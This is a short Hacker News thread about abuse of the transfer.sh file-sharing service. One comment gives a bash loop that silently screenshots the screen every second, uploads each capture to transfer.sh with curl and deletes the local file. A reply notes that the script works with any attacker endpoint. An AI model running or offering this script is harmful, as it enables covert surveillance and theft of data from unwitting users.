Idea where can such service be used for nefarious purposes: while true do dt=$(d... | Hacker News

Hacker News new | past | comments | ask | show | jobs | submit

login

dzhiurgis on March 20, 2016 | parent | context | favorite | on: $ cat ~/myfile | curl -X PUT --upload-file “-” htt...

Idea where can such service be used for nefarious purposes:

  while true
  do 
    dt=$(date '+%d%m%Y%H:%M:%S');
    screencapture -x file$dt.png
    curl --upload-file ./file$dt.png https://transfer.sh/66nb8/capture$dt.png
    rm file$dt.png
    sleep 1
  done

rybosome on March 20, 2016 [–]

If you can get that script to run on a user's machine, they're hosed whether or not this service exists. Curl or mail to an endpoint in the attacker's control would be equally effective.

dzhiurgis on March 21, 2016 | [–]

Sorry, I did not intend to discount this service in any way. More like showing a practical use.

Join us for AI Startup School this June 16-17 in San Francisco!
Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact